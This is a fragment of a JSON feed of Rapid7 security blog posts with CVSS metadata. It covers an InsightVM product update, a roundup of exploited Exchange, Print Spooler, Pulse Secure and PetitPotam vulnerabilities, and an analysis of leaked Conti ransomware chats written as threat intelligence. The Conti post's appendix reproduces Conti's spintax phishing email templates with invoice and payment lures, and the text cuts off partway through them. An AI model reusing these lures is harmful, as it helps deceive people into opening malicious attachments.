"RAPID7BLOG:D1C9D661B6FC47BE44B8FBB6E1D49AD5", "href": "https://blog.rapid7.com/2022/08/19/pushing-open-source-security-forward-insights-from-black-hat-2022/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-08T15:44:47", "description": "\n\nIn today's post, we're giving a rundown of new features and functionality launched in Q3 2021 for [InsightVM](<https://www.rapid7.com/products/insightvm/>) and the [Insight Platform](<https://www.rapid7.com/products/insight-platform/>). We hope you can begin to leverage these changes to drive success across your organization.\n\n## Apple Silicon support on the Insight Agent\n\nWe're excited to announce that the Insight Agent now natively supports Apple Silicon chips!\n\nApple announced the first generation Apple Silicon chip \u2014 the M1 processor \u2014 in November 2020. This chip is the new standard on all MacBooks starting with the 2020 releases, and Apple plans to transition completely to Apple Silicon chips over the next two years.\n\nThe new Mac installer specifically designed for the Apple Silicon can be accessed right from Agent Management in the platform, in the download section. Learn more in our [Apple Silicon Agent Support blog post](<https://www.rapid7.com/blog/post/2021/07/08/apple-m1-support-on-insight-agent/>).\n\n\n\n## Asset and Vulnerability Details reports\n\nThis new feature allows you to easily communicate details of your assets and vulnerabilities with stakeholders in a PDF format. Simply click the ****Export to PDF ****button on the Vulnerability Details page, and you'll have a PDF ready to share!\n\n\n\nThis is particularly useful if you're attempting to collaborate while remediating a specific vulnerability. We'll use a hypothetical security engineer named Jane to illustrate this.\n\nJane recently read about a new ransomware strain that leverages a specific vulnerability as part of an attack chain that seems to be targeting the industry of her organization. She opens the query builder in InsightVM, constructs a search query to identify the vulnerability by CVE, and discovers several instances. She wants to mention this during her morning all-hands sync so she can recruit other team members to her effort. She exports the vulnerability details page to a PDF, which allows her to share this out and provide more details to interested team members, who then can help her remediate this vulnerability much more quickly.\n\nMoreover, while undertaking this effort, another team member \u2014 Bill \u2014 finds an asset that seems to be a complete tragedy in terms of patching and vulnerability prevalence. He creates the Asset Details report and shares this in an e-mail to his team, stating that this asset seems to be missing their organization's patch cycle. He also suggests that they look for more of these types of assets because he knows that when there is one offender, there are often many.\n\n## Snyk integration for reporting vulnerabilities\n\nContainer Security assessments will now report Ruby vulnerabilities through an integration with the Snyk vulnerability database. This adds RubyGems packages to our Snyk-based coverage, which currently includes vulnerability detections for Java, JavaScript, and Python libraries. This integration is particularly helpful for organizations that perform scanning of Container Images at rest, in both public and private registries.\n\n## Emergent threat coverage recap\n\nQ3 2021 was another busy quarter for high-priority cybersecurity threats. As part of our emergent threat response process, Rapid7's VRM research and engineering teams released vulnerability checks and in-depth technical analysis to help InsightVM customers understand the risk of exploitation and assess their exposure to critical security threats. In July, [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare/rapid7-analysis?referrer=blog>), dubbed \u201c[PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)\" presented remediation challenges for many organizations amid active exploitation of the Windows Print Spooler service. In August, the [ProxyShell](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis?referrer=blog>) exploit chain put on-premises instances of Microsoft Exchange Server [at risk](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>) for remote code execution. More recently, widespread attacks took advantage of [CVE-2021-26084](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis?referrer=blog>), a critical flaw in[ Confluence Server & Confluence Data Center](<https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/>), to deploy cryptominers, exfiltrate data, and obtain initial access for ransomware operations.\n\nOther notable emergent threats included:\n\n * [ForgeRock Access Manager/OpenAM Pre-Auth Remote Code Execution Vulnerability (CVE-2021-35464)](<https://attackerkb.com/topics/KnAX5kffui/pre-auth-rce-in-forgerock-access-manager-cve-2021-35464/rapid7-analysis?referrer=blog>)\n * [SolarWinds Serv-U FTP and Managed File Transfer (CVE-2021-35211)](<https://www.rapid7.com/blog/post/2021/07/12/solarwinds-serv-u-ftp-and-managed-file-transfer-cve-2021-35211-what-you-need-to-know/>)\n * [Microsoft SAM File Readability (CVE-2021-36934)](<https://www.rapid7.com/blog/post/2021/07/21/microsoft-sam-file-readability-cve-2021-36934-what-you-need-to-know/>)\n * [PetitPotam: Novel Attack Chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>)\n * [Zoho ManageEngine ADSelfService Plus (CVE-2021-40539)](<https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis?referrer=blog>)\n * [Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)](<https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/>)\n\n## Stay tuned!\n\nAs always, we're continuing to work on exciting product enhancements and releases throughout the year. Keep an eye on our blog and [release notes](<https://docs.rapid7.com/release-notes/insightvm/>) as we continue to highlight the latest in vulnerability management at Rapid7.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-08T13:30:00", "type": "rapid7blog", "title": "What's New in InsightVM: Q3 2021 in Review", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-22005", "CVE-2021-26084", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35464", "CVE-2021-36934", "CVE-2021-40539"], "modified": "2021-10-08T13:30:00", "id": "RAPID7BLOG:8882BFA669B38BCF7B5A8A26F657F735", "href": "https://blog.rapid7.com/2021/10/08/whats-new-in-insightvm-q3-2021-in-review/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-25T01:34:04", "description": "\n\n_See the `Updates` section at the end of this post for new information as it comes to light._\n\nWhether you attended virtually, IRL, or not at all, Black Hat and DEF CON have officially wrapped, and security folks\u2019 brains are replete with fresh information on new (and some not-so-new) vulnerabilities and exploit chains. The \u201chacker summer camp\u201d conferences frequently also highlight attack surface area that may _not_ be net-new \u2014 but that is subjected to renewed and redoubled community interest coming out of Vegas week. See Rapid7\u2019s summaries [here](<https://www.rapid7.com/blog/post/2021/08/05/black-hat-recap-1/>) and [here](<https://www.rapid7.com/blog/post/2021/08/06/black-hat-recap-2/>).\n\nHere\u2019s the specific attack surface area and a few of the exploit chains we\u2019re keeping our eye on right now:\n\n * Orange Tsai stole the show (as always) at Black Hat with a talk on fresh **Microsoft Exchange** attack surface area. All in all, Orange discussed CVEs from [what appears to be four separate attack chains](<https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html>) \u2014including the ProxyLogon exploit chain that made headlines when it hit exposed Exchange servers as a zero-day attack [back in March](<https://www.rapid7.com/blog/post/2021/03/03/mass-exploitation-of-exchange-server-zero-day-cves-what-you-need-to-know/>) and the \u201cProxyShell\u201d exploit chain, which debuted at Pwn2Own and targets three now-patched CVEs in Exchange. Exchange continues to be a critically important attack surface area, and defenders should keep patched on a top-priority or zero-day basis wherever possible.\n * Print spooler vulnerabilities continue to cause nightmares. DEF CON saw the release of new privilege escalation exploits for Windows Print Spooler, and Black Hat featured a talk by Sangfor Technologies researchers that chronicled both [new Windows Print Spooler vulnerabilities](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) and past patch bypasses for vulns like CVE-2020-1048 (whose patch was bypassed three times). Given that many defenders are still trying to remediate the \u201cPrintNightmare\u201d vulnerability from several weeks ago, it\u2019s fair to say that Windows Print Spooler will remain an important attack surface area to prioritize in future Patch Tuesdays.\n * There\u2019s also a new vulnerability in Pulse Connect Secure VPNs that caught our attention \u2014 the vuln is actually a bypass for CVE-2020-8260, which came out last fall and evidently didn\u2019t completely fade away \u2014 despite the fact that it\u2019s authenticated and requires admin access. With CISA\u2019s warnings about APT attacks against Pulse Connect Secure devices, it\u2019s probably wise to patch CVE-2021-22937 quickly.\n * And finally, the SpecterOps crew gave a highly anticipated Black Hat talk on several new attack techniques that [abuse Active Directory Certificate Services](<https://posts.specterops.io/certified-pre-owned-d95910965cd2>) \u2014 something we covered previously in our summary of the [PetitPotam attack chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>). This is neat research for red teams, and it may well show up on blue teams\u2019 pentest reports.\n\n### Microsoft Exchange ProxyShell chain\n\n**Patches:** Available \n**Threat status:** Possible threat (at least one report of exploitation in the wild)\n\nIt goes without saying that Microsoft Exchange is a high-value, popular attack surface that gets constant attention from threat actors and researchers alike. That attention is increasing yet again after prominent security researcher Orange Tsai gave a talk at Black Hat USA last week revealing details on an attack chain first demonstrated at Pwn2Own. The chain, dubbed \u201cProxyShell,\u201d allows an attacker to take over an unpatched Exchange server. ProxyShell is similar to ProxyLogon (i.e., [CVE-2021-26855](<https://attackerkb.com/assessments/a5c77ede-3824-4176-a955-d6cf9a6a7417>) and [CVE-2021-27065](<https://attackerkb.com/assessments/74177979-e2ef-4078-9f91-993964292cfa>)), which continues to be popular in targeted attacks and opportunistic scans despite the fact that it was patched in March 2021.\n\nTwo of the three vulnerabilities used for ProxyShell were patched in April by Microsoft and the third was patched in July. As of August 9, 2021, private exploits have already been developed, and it\u2019s probably only a matter of time before public exploit code is released, which may allow for broader exploitation of the vulns in this attack chain (in spite of its complexity!). Rapid7 estimates that there are, at least, nearly 75,000 ProxyShell-vulnerable exchange servers online:\n\n\n\nWe strongly recommend that Exchange admins confirm that updates have been applied appropriately; if you haven\u2019t patched yet, you should do so immediately on an emergency basis.\n\nOne gotcha when it comes to Exchange administration is that Microsoft only releases security fixes for the [most recent Cumulative Update versions](<https://docs.microsoft.com/en-us/exchange/new-features/updates>), so it\u2019s vital to stay up to date with these quarterly releases in order to react quickly when new patches are published.\n\nProxyShell CVEs:\n\n * [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n * [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n * [CVE-2021-34523\u200b](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n### Windows Print Spooler \u2014 and more printer woes\n\n**Patches:** Varies by CVE, mostly available \n**Threat status:** Varies by CVE, active and impending\n\nThe Windows Print Spooler was the subject of renewed attention after the premature disclosure of the PrintNightmare vulnerability earlier this summer, followed by new Black Hat and DEF CON talks last week. Among the CVEs discussed were a quartet of 2020 vulns (three of which were bypasses descended from CVE-2020-1048, which has been exploited in the wild since last year), three new remote code execution vulnerabilities arising from memory corruption flaws, and two new local privilege escalation vulnerabilities highlighted by researcher [Jacob Baines](<https://twitter.com/Junior_Baines>). Of this last group, one vulnerability \u2014 CVE-2021-38085 \u2014 remains unpatched.\n\nOn August 11, 2021, Microsoft assigned [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) to the latest Print Spooler remote code execution vulnerability which appears to require local system access and user interaction. Further details are limited at this time. However, as mitigation, Microsoft is continuing to recommend stopping and disabling the Print Spooler service. Even after this latest zero-day vulnerability is patched, we strongly recommend leaving the Print Spooler service disabled wherever possible. Read Rapid7\u2019s [blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) for further details and updates.\n\nWindows Print Spooler and related CVEs:\n\n * [CVE-2020-1048](<https://attackerkb.com/topics/QoQvwrIqEV/cve-2020-1048-windows-print-spooler-elevation-of-privilege-vulnerability?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler presented at Black Hat 2020; exploited in the wild, Metasploit module available)\n * [CVE-2020-1337](<https://attackerkb.com/topics/mEEwlfrTK3/cve-2020-1337?referrer=blog>) (patch bypass for CVE-2020-1048; Metasploit module available)\n * [CVE-2020-17001](<https://attackerkb.com/topics/oGAzAwKy1N/cve-2020-17001?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-17014](<https://attackerkb.com/topics/N9XhrkViyk/cve-2020-17014?referrer=blog>) (patch bypass variant for CVE-2020-1048)\n * [CVE-2020-1300](<https://attackerkb.com/topics/43jdEqsVY1/cve-2020-1300?referrer=blog>) (local privilege escalation technique known as \u201c[EvilPrinter](<https://twitter.com/R3dF09/status/1271485928989528064>)\u201d presented at DEF CON 2020)\n * [CVE-2021-24088](<https://attackerkb.com/assessments/85a30c9a-e126-4ec0-bda4-d166e03c5390>) (new remote code execution vulnerability in the Windows local spooler, as presented at Black Hat 2021)\n * [CVE-2021-24077](<https://attackerkb.com/topics/wiyGYban1l/cve-2021-24077?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1722](<https://attackerkb.com/topics/v1Qm7veSwf/cve-2021-1722?referrer=blog>) (new remote code execution vulnerability in the Windows Fax Service, as presented at Black Hat 2021)\n * [CVE-2021-1675](<https://attackerkb.com/topics/dI1bxlM0ay/cve-2021-1675?referrer=blog>) (elevation of privilege vuln in Windows Print Spooler patched in June 2021)\n * [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), aka \u201cPrintNightmare\u201d\n * [CVE-2021-35449](<https://attackerkb.com/topics/9sV2bS0OSj/cve-2021-35449?referrer=blog>) (print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-38085](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38085>) (**unpatched** print driver local privilege escalation vulnerability, as [presented](<https://www.youtube.com/watch?v=vdesswZYz-8>) at DEF CON 2021; Metasploit module in progress)\n * [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>) (**unpatched** remote code execution vulnerability; announced August 11, 2021)\n\nCurrently, both [PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>) CVE-2021-34527 and CVE-2020-1048 are known to be exploited in the wild. As the list above demonstrates, patching print spooler and related vulns quickly and completely has been a challenge for Microsoft for the past year or so. The multi-step mitigations required for some vulnerabilities also give attackers an advantage. Defenders should harden printer setups wherever possible, including against malicious driver installation.\n\n### Pulse Connect Secure CVE-2021-22937\n\n**Patch:** Available \n**Threat status:** Impending (Exploitation expected soon)\n\nOn Monday, August 2, 2021, Ivanti published [Security Advisory SA44858](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44858>) which, among other fixes, includes a fix for CVE-2021-22937 for Pulse Connect Secure VPN Appliances running 9.1R11 or prior. Successful exploitation of this vulnerability, which carries a CVSSv3 score of 9.1, requires the use of an authenticated administrator account to achieve remote code execution (RCE) as user `root`.\n\nPublic proof-of-concept (PoC) exploit code has not been released as of this writing. However, this vulnerability is simply a workaround for [CVE-2020-8260](<https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/%E2%80%8B%E2%80%8Bhttps://attackerkb.com/topics/MToDzANCY4/cve-2020-8260?referrer=search#vuln-details>), an authentication bypass vulnerability that was heavily utilized by attackers, released in October 2020.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has been monitoring the [Exploitation of Pulse Connect Secure Vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) demonstrating that attackers have been targeting Ivanti Pulse Connect Secure products for over a year. Due to attacker focus on Pulse Connect Secure products, and especially last year\u2019s CVE-2020-8260, Rapid7 recommends patching CVE-2021-22937 as soon as possible.\n\n### PetitPotam: Windows domain compromise\n\n**Patches:** Available \n**Threat status:** Threat (Exploited in the wild)\n\nIn July 2021, security researcher [Topotam](<https://github.com/topotam>) published a [PoC implementation](<https://github.com/topotam/PetitPotam>) of a novel NTLM relay attack christened \u201cPetitPotam.\u201d The technique used in the PoC allows a remote, unauthenticated attacker to completely take over a Windows domain with the Active Directory Certificate Service (AD CS) running \u2014 including domain controllers. Rapid7 researchers have tested public PoC code against a Windows domain controller setup and confirmed exploitability. One of our [senior researchers](<https://twitter.com/wvuuuuuuuuuuuuu>) summed it up with: "This attack is too easy." You can read Rapid7\u2019s full blog post [here](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>).\n\nOn August 10, 2021, Microsoft released a patch that addresses the PetitPotam NTLM relay attack vector in today's Patch Tuesday. Tracked as [CVE-2021-36942](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942>), the August 2021 Patch Tuesday security update blocks the affected API calls [OpenEncryptedFileRawA](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfilerawa>) and [OpenEncryptedFileRawW](<https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openencryptedfileraww>) through the LSARPC interface. Windows administrators should prioritize patching domain controllers and will still need to take additional steps listed in [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>) to ensure their systems are fully mitigated.\n\n### Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to the vulnerabilities in this post with authenticated vulnerability checks. Please note that details haven\u2019t yet been released on CVE-2021-38085 and CVE-2021-36958; therefore, it\u2019s still awaiting analysis and check development.\n\n### Updates\n\n**Pulse Connect Secure CVE-2021-22937** \nOn August 24, 2021, the Cybersecurity & Infrastructure Security Agency (CISA) released [Malware Analysis Report (AR21-236E)](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-236e>) which includes indicators of compromise (IOCs) to assist with Pulse Connect Secure investigations.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T17:13:25", "type": "rapid7blog", "title": "Popular Attack Surfaces, August 2021: What You Need to Know", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-1048", "CVE-2020-1300", "CVE-2020-1337", "CVE-2020-17001", "CVE-2020-17014", "CVE-2020-8260", "CVE-2021-1675", "CVE-2021-1722", "CVE-2021-22937", "CVE-2021-24077", "CVE-2021-24088", "CVE-2021-26855", "CVE-2021-27065", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35449", "CVE-2021-36942", "CVE-2021-36958", "CVE-2021-38085"], "modified": "2021-08-12T17:13:25", "id": "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "href": "https://blog.rapid7.com/2021/08/12/popular-attack-surfaces-august-2021-what-you-need-to-know/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-09T17:28:27", "description": "\n\n**_UPDATE: _**_As of March 2, 2022, Conti began taking down exposed infrastructure as a result of the chat disclosure. At that time, we assessed that due to their sophisticated capability, deep funding, and quick recovery from exposed infrastructure in November 2021, they remained an active and significant threat. As of March 9, 2022, our threat intelligence team has observed a resumption of normal operations from Conti._\n\nOn February 27, Twitter user [@ContiLeaks](<https://twitter.com/contileaks>) released a trove of chat logs from the ransomware group, Conti \u2013 a sophisticated ransomware group whose manual was publicly [leaked last year](<https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html>). Ahead of the chat log disclosures, Conti pledged their support for the Russian Government following the Russian invasion of Ukraine. However, a number of members sided with Ukraine, causing strife within the organization. Two days later, Conti posted a second message revising their statement to condemn the war and to strike back only if Russian critical infrastructure is targeted.\n\n_Conti announcement of support for Russian government_\n\n_Conti walk-back of their support for Russia_\n\n_@ContiLeaks announcement of the release_\n\nAt the time of the leak, a file titled `1.tgz` was released on the \u201cAnonFiles\u201d website, containing 14 megabytes of chat logs across 393 JSON files. However, some of the messages were encrypted and could not be read, so the information provided is necessarily incomplete. The remaining files contained internal Conti communications, screenshots of tools, and discussions of their exploits and design processes. \n\nOn February 28 and March 1, a bevy of additional files were posted, along with a number of pro-Ukraine tweets. Among both sets of leaked messages, there were a number of usernames and passwords for a variety of accounts. Additionally, user @ContiLeaks shared access details for a number of alleged Conti command and control servers, plus storage servers for stolen files. However, we have not accessed any of the data necessitating access to remote servers or the use of usernames and passwords, and we strongly recommend against doing so. \n\n@ContiLeaks also shared a file that they purport to be the source code for the Conti ransomware but declined to share the password except with \u201ctrusted parties.\u201d @ContiLeaks did, however, name one alleged Conti developer, providing their email address and Github. The scale of the leaked information suggests that the leaker is likely either a very senior member of the group or a coalition of disgruntled Conti affiliates.\n\n## Conti is a business \u2013 and a well-funded one\n\nMuch of the discussion within the chat logs concerns fairly mundane things \u2013 interviewing potential operators of the group, payment for services, out-of-office messages, gossip, and discussions of products. Based on the leaked chats, the Conti interview process actually looks a lot like a standard technical interview, with coding exercises to be performed hosted on public code repositories, salary negotiations, and the status of ongoing products. \n\nIn addition to other financial information related to specific actors, the leaked chats have revealed Conti\u2019s primary Bitcoin address, which contains over **two billion USD** as of February 28, 2022. Moreover, a conversation on April 9, 2021 between \u201cmango\u201d and \u201cjohnyboy77\u201d indicates Russian FSB involvement in some portion of their funding and that the FSB were interested in files from the media outlet Bellingcat on \u201cNavalny\u201d \u2013 an apparent reference to Alexei Navalny, the currently imprisoned opposition leader in Russia.\n\n## Conti development\n\nConti seems to operate much like a software company \u2013 the chat logs disclose concerns with the development of specific features for targets and a particular difficulty in encrypting very large files. The Conti team also attempted to get demos of popular endpoint detection software with the intent to develop their malware to avoid detection.\n\nTwo of the actors, \u201clemur\u201d and \u201cterry\u201d shared phishing templates (included verbatim in Appendix B at the end of this post) to be used against potential targets. Conti gains initial access in many ways, with phishing a popular line of attack due in part to its relatively high efficacy and low cost. Conti often uses phishing emails to establish a presence on targeted networks.\n\nA screenshot of the Conti control panel was also leaked, showing a number of compromised hosts and a breakdown of the operating systems, antiviruses, user rights, and detailed information about the infected assets.\n\n_Conti control panel_\n\nFurther discussions detailed the use of infrastructure against targets, disclosing a number of both known and unknown Conti command and control domains. At the time of this post, only a small number of the previously unknown command and control domains appear to be active. Conversations between two operators, \u201cStern\u201d and \u201cBentley\u201d discuss the use of third parties for malicious documents, favoring certain providers over others. They also discuss logistics for how to deliver ransomware without being detected by dynamic analysis. In a conversation between the two back in June of 2021, Stern discloses that Conti wants to start their own cryptocurrency but does not know who to work with. There is no evidence that anything came of this desire, and Conti continues to use Bitcoin for their ransoms. \n\n## Other groups assert they are strictly business\n\nIn stark contrast to Conti, other groups have made it clear to the public that despite their \u201cbusiness model,\u201d they take no public stance on this crisis. LockBit is remaining aloof from the conflict and made it clear that they intend to operate as usual. Although it is believed that LockBit is a Russian organization, they assert that \u201cwe are all simple and peaceful people, we are all Earthlings,\u201d and \u201cfor us it is just business and we are all apolitical.\u201d Another ransomware group, ALPHV, claims to be \u201cextremely saddened\u201d by Conti\u2019s pledge of support and condemns Conti. Their message concludes, \u201cThe Internet, and even more so its dark side, is not the place for politics.\u201d\n\n## Rumors of Conti\u2019s demise have been greatly exaggerated\n\nConti\u2019s payment and \u201csupport\u201d portal is still live, even following the infighting and leaks. Conti has repeatedly proven to be one of the most capable ransomware actors and these chats indicate that the group is well-organized and still very well-funded despite the schism. Any suggestion that these leaks spell the end for Conti is overstated, and we expect that Conti will continue to be a powerful player in the ransomware space.\n\n## What you can do\n\nWe are keeping an eye on dark web activity related to Conti and other ransomware groups and want to reiterate the following steps for protecting yourself from ransomware: \n\n\n * User education, especially related to well-crafted phishing campaigns\n * Asset and vulnerability management, including reducing your external attack surface\n * Multi-factor authentication \n\n\nAdditionally, it is worth ensuring that you are well-guarded against the exploits and malware commonly used by Conti (vulnerabilities provided in Appendix A at the end of this post). Furthermore, security teams should also take some time to review [CISA\u2019s recent report on the group](<https://www.cisa.gov/uscert/ncas/alerts/aa21-265a>). For further discussion on how to protect yourself from ransomware, see our [ransomware playbook](<https://www.rapid7.com/solutions/ransomware/>). \n\n\n## Appendix A \u2013 Conti known exploited vulnerabilities\n\nCVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 (MS17-010; EternalBlue/EternalSynergy/EternalChampion)\n\nCVE-2020-1472 (ZeroLogon)\n\nCVE-2021-34527 (PrintNightmare)\n\nCVE-2021-44228 (Log4Shell)\n\nCVE-2021-34473, CVE-2021-34523, CVE-2021-31207 (ProxyShell/ProxyLogon)\n\n## Appendix B \u2013 Phishing templates\n\n{Greetings|Hello|Good afternoon|Hi|Good day|Greeting|Good morning|Good evening}! \n{Here|Right here|In this letter|With this letter} we {send|direct} you {all the|all the necessary|the most important} {documentation|papers|documents|records} {regarding|concerning|relating to} your {payment|deposit payment|last payment} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u041f\u041b\u0410\u0422\u0415\u0416\u0410, right {as we|as we have} {discussed|revealed} {not so long ago|not too long ago|recently|just recently|not long ago}. Please {review the|check the|take a look at} \u0430ll {necessary|required|important} {information|data} in the {file attached|attached file}. \n\u0422: {Payment|Deposit payment} {invoice|receipt} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u0418\u041d\u0412\u041e\u0419\u0421\u0410 {prepared|formed} \nD: {payment|deposit|dep|paym}_{info|information|data}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \nYour {order|purchase order|online order} was {successfully|correctly|timely} {paid|compensated|covered} by you {yesterday|today|recently}. Your {documentation|docs|papers} and {bank check|receipt|paycheck} {can be found|are listed} in the {attached file|file attached}. \nT: {Invoice|Given invoice|Bill} {we|we have|we\u2019ve} {sent|mailed|delivered} to you {is paid|is covered|is processed}. \nD: {Purchase order|Order} {verification|approval}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \n{We are contacting you to|This is to|This mail is to} {notify|remind} you {about|regarding} your {debt|unprocessed payment} for {our last|the recent|our recent} {contract|agreement}. All {compensation|payment} {data|information}, {agreement|contract} and prepared legal {documents|documentation} {can be found|are located} in the {file attached|attached file}. \nT: {Missing|Additional} payment {information|details|info} reminder \nD: {Contract|Agreement} 2815/2 {case|claim}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \n{Your payment|Your advance payment|Your obligatory payment|Payment you sent|Payment you made} was {successfully|correctly|timely|properly} {achieved|accomplished|approved|affirmed|received|obtained|collected|processed}. All {required documentation|necessary documents|important documentation|documents you need|details that can be important|essential documents} {can be found|you can find} in the {attached file|file attached}. \nT: {Invoicing|Invoice|Agreement|Contract|Payment} {info|data|information|details} \nD: {Receipt|Bill} {id|ID|Number|number|No.|No.|No|#|##} 3212-inv8\n\n{Greetings|Hello|Good day|Good afternoon}{!|,|} \n{Thank you for|We are thankful for|We are grateful for|Many thanks for} {your|your recent} {on-line order|purchase order|order}. {We|Our financiers have|Our team has|We have|Our shop has} {received|collected|processed|checked} your {payment|advance payment|money transfer|funds transfer} \u041d\u041e\u041c\u0415\u0420 \u041f\u0415\u0420\u0415\u0412\u041e\u0414\u0410. Now we {are and ready to|begin to} {pack|prepare|compose} your {shipment|order|box}. Your {parcel|packet|shipment|box} {will|is going to|would} {arrive|be delivered} to {you|your residence} within {4|5|6|four|five|six} {days|business days}. \n{Total|Full|Whole} {order|purchase|payment} sum: \u0421\u0423\u041c\u041c\u0410 \nYou {can find|will find} {all|full} {relative information|order info|order and payment details} and your {receipt|check} \u041d\u041e\u041c\u0415\u0420 \u0427\u0415\u041a\u0410 {in|in the} {attached file|file attached}. \n{Thank you!|Have a nice day!} \n\u0422\u0415\u041c\u042b: Your {order|purchase|on-line order|last order} 